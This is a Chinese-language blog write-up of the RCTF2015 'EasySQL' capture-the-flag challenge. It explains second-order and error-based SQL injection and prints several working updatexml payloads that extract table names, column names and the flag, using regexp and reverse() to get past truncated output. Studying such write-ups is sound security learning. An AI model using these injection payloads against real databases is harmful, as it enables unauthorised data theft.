[RCTF2015]EasySQL

[RCTF2015]EasySQL

(天呐我以前写的wp好潦草 真的是我写的吗 不敢相信

这道题的考点是二次注入,报错注入。

注册账号之后,发现登陆后有个修改密码。在修改密码的时候会查询数据库,所以应该存在sql注入。

在注册时把用户名写成admin",发现在改密码时会报如下错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"" and pwd='698d51a19d8a121ce581499d7b701668'' at line 1

所以可以用报错注入。

payload:

admin"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

再爆列名:

admin"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#

那就爆一下字段名:

admin"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1)#

但是却报错提示:

Unknown column 'real_flag_1s_her' in 'field list'

???很迷惑 看了下wp他们是因为上一步没有爆完整 我就说is her是什么…

这一步可以用regexp正则来匹配

admin"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

直接注入还是显示xxxxxxx,这里也用regexp正则匹配将干扰字符xxxx去掉。

admin"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

但是还是显示不完,我们可以用逆序输出。

test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#

得到flag

Author: Neorah
Link: https://neorah.me/ctf/RCTF2015/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.